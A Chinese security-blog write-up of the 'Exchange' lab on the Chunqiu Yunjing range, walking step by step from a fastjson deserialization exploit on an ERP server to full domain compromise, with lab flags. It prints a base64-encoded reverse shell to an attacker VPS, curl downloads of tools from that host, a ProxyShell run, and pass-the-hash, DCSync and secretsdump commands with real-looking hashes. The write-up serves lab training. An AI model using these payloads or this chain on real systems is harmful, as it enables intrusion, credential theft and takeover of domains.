春秋云镜-exchange-WriteUp

admin

102932
文章

87
评论

2023年11月11日22:17:07评论13 views字数 6287阅读20分57秒阅读模式

：声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关

现在只对常读和星标的公众号才展示大图推送，建议大家把猫蛋儿安全“设为星标”，否则可能看不到了！

靶场简介

Exchange 是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag，分布于不同的靶机。

春秋云镜-exchange-WriteUp

获取入口机权限

nmap对目标ip进行扫描，发现8080存在华夏erp，华夏erp存在历史漏洞：未授权访问和fastjson反序列化漏洞

可以尝试fastjson的mysql反序列化

https://github.com/fnmsd/MySQL_Fake_Server

config.json配置：

{"config":{"ysoserialPath":"ysoserial-all.jar","javaBinPath":"java","fileOutputDir":"./fileOutput/","displayFileContentOnScreen":true,"saveToFile":true    },"fileread":{"win_ini":"c:\windows\win.ini","win_hosts":"c:\windows\system32\drivers\etc\hosts","win":"c:\windows\","linux_passwd":"/etc/passwd","linux_hosts":"/etc/hosts","index_php":"index.php","ssrf":"https://www.baidu.com/","__defaultFiles":["/etc/hosts","c:\windows\system32\drivers\etc\hosts"]    },"yso":{"Jdk7u21":["Jdk7u21","calc"],"CommonsCollections6":["CommonsCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC84MDA5IDA+JjEK}|{base64,-d}|{bash,-i}"]    }}

开启恶意mysql服务，然后通过burp进行漏洞利用：

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "vpsip", "portToConnectTo": 3306, "info": { "user": "CommonsCollections6", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

GET /a.css/../systemConfig/list?search=%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22vpsip%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22CommonsCollections6%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D&currentPage=1&pageSize=10 HTTP/1.1Host: 47.92.212.159:8000Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.60X-Requested-With: XMLHttpRequestReferer:http://47.116.69.14/pages/manage/systemConfig.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5Connection: close

春秋云镜-exchange-WriteUp

获得flag01：flag{1accd7bc-ec2f-4935-90f2-de68cd76dfa3}

春秋云镜-exchange-WriteUp

内网横向

上传fscan对当前c段进行扫描

curl http://vpsip:8001/fscan_amd64 --output fscan_amd64chmod +x ./fscan_amd64./fscan_amd64 -h 172.22.3.1/24

./fscan_amd64 -h 172.22.3.1/24
   ___                              _      / _      ___  ___ _ __ __ _  ___| | __  / /_/____/ __|/ __| '__/ _` |/ __| |/ // /_\_______  (__| | | (_| | (__|   <    ____/     |___/___|_|  __,_|___|_|_                        fscan version: 1.8.2start infoscan(icmp) Target 172.22.3.12     is alive(icmp) Target 172.22.3.2      is alive(icmp) Target 172.22.3.26     is alive(icmp) Target 172.22.3.9      is alive[*] Icmp alive hosts len is: 4172.22.3.9:808 open172.22.3.12:80 open172.22.3.12:22 open172.22.3.9:8172 open172.22.3.12:8000 open172.22.3.9:445 open172.22.3.26:445 open172.22.3.2:445 open172.22.3.2:88 open172.22.3.9:443 open172.22.3.9:139 open172.22.3.2:139 open172.22.3.26:139 open172.22.3.9:135 open172.22.3.26:135 open172.22.3.2:135 open172.22.3.9:81 open172.22.3.9:80 open[*] alive ports len is: 18start vulscan[*] WebTitle: http://172.22.3.12        code:200 len:19813  title:lumia[*] NetInfo:[*]172.22.3.2   [->]XIAORANG-WIN16   [->]172.22.3.2[*] NetBios: 172.22.3.2      [+]DC XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393 [*] NetBios: 172.22.3.26     XIAORANGXIAORANG-PC           [*] 172.22.3.2  (Windows Server 2016 Datacenter 14393)[*] NetInfo:[*]172.22.3.26   [->]XIAORANG-PC   [->]172.22.3.26[*] NetInfo:[*]172.22.3.9   [->]XIAORANG-EXC01   [->]172.22.3.9[*] WebTitle: http://172.22.3.12:8000   code:302 len:0      title:None 跳转url: http://172.22.3.12:8000/login.html[*] NetBios: 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393 [*] WebTitle: http://172.22.3.12:8000/login.html code:200 len:5662   title:Lumia ERP[*] WebTitle: http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。[*] WebTitle: https://172.22.3.9:8172   code:404 len:0      title:None[*] WebTitle: http://172.22.3.9         code:403 len:0      title:None[*] WebTitle: https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook

frp内网穿透，进入目标内网

curl http://vpsip:8001/frpc --output frpccurl http://vpsip:8001/frpc.ini --output frpc.inichmod +x ./frpcnohup ./frpc -c frpc.ini

通过fscan扫描结果发现172.22.3.9是exchange，目前没有任何域内凭证，但是我们可以尝试一下不需要域内凭证的proxyshell

成功利用proxyshell，添加域内alice用户，并将其添加到当前exchange的本地管理员组当中。

python3 proxyshell.py -t XIAORANG-EXC01.xiaorang.lab

春秋云镜-exchange-WriteUp

通过alice用户rdp到exchange，随后利用mimikatz导出lsass文件凭证

XIAORANG-EXC01$/e95225f6e2b6b094e532db3a02811ee2Zhangtong/22c7f81993e96ac83ac2f3f1903de8b4

获取flag02：flag{edb4d500-706f-4197-a33b-0ea8d79e3e44}

春秋云镜-exchange-WriteUp

刚刚获取到了域内主机XIAORANG-EXC01$的hash，域机器用户是特使的域用户，同样可以进行域内认证。通过https://github.com/lzzbb/Adinfo获取域内信息

./Adinfo_darwin -d xiaorang.lab --dc 172.22.3.2 -u XIAORANG-EXC01$ -H e95225f6e2b6b094e532db3a02811ee2

春秋云镜-exchange-WriteUp

exchange机器账户隶属于Exchange Windows Permissions这个组中，而这个组具有write 域内acl权限，所以可以设置刚刚通过mimikatz拿到的域内用户Zhangtong的dcsync属性。

python3 Dcsync.py -dc XIAORANG-WIN16.xiaorang.lab -t 'CN=Zhangtong,CN=Users,DC=xiaorang,DC=lab'  'xiaorangXIAORANG-EXC01$' -hashes :e95225f6e2b6b094e532db3a02811ee2

春秋云镜-exchange-WriteUp

设置了Zhangtong的dcsync属性后，通过secretsdump来dump出域内hash：

python3 secretsdump.py [email protected] -just-dc-user administrator -hashes :22c7f81993e96ac83ac2f3f1903de8b4

春秋云镜-exchange-WriteUp

随后通过域管理员的hash进行wmiexec连接：

python3 wmiexec.py [email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -codec gbk

在dc上获取flag04:flag{965bedbc-0311-4c9e-8931-4ecccd88469a}

春秋云镜-exchange-WriteUp

172.22.3.26这个机器还没利用，发现Lumia桌面下存在secret.zip文件

python3 smbclient.py xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb

春秋云镜-exchange-WriteUp

下载后，打开提示需要密码

春秋云镜-exchange-WriteUp

获得Lumia密码

python3 secretsdump.py [email protected] -just-dc-user Lumia -hashes :22c7f81993e96ac83ac2f3f1903de8b4

春秋云镜-exchange-WriteUp

现在我们有了Lumia的hash但是解不出明文密码，可以使用https://github.com/Jumbo-WJB/PTH_Exchange从exchange把Lumia的邮件内容拖下来

python3 pthexchange.py --target https://172.22.3.9 --username Lumia --password "00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296" --action Download

春秋云镜-exchange-WriteUp

发现存在两个邮件，secret.zip密码在左边phone lists中

春秋云镜-exchange-WriteUp

通过john爆破zip的密码

zip2john secret.zip>zip.secjohn zip.sec --format=pkzip --wordlist=phone.lst

春秋云镜-exchange-WriteUp

爆破成功，解压获得flag03：flag{cf0c753c-233f-4729-8984-0746ea5878b7}

春秋云镜-exchange-WriteUp

关于我们

持续从基础到深入的更新攻防文章

点击下方名片进入公众号，欢迎关注！

点个小赞你最好看

原文始发于微信公众号（猫蛋儿安全）：春秋云镜-exchange-WriteUp

左青龙
微信扫一扫

右白虎
微信扫一扫

春秋云镜-exchange-WriteUp

【密码学】SM2密钥格式的解构

2024鹅厂游戏安全技术竞赛决赛题解-PC客户端

官方赛题解析 | 对抗研判 AVSS 挑战赛 2024 线上选拔赛

[Meachines][Easy] Usage

【CTF】leak canary

CTF中的普通sql注入题分析

2024FIC第四届全国网络空间取证竞赛线上初赛全解参考wp

2024第四届FIC初赛Writeup

2024腾讯游戏安全大赛-安卓赛道决赛VM分析与还原

2024第四届FIC初赛Writeup

发表评论

在线咨询

微信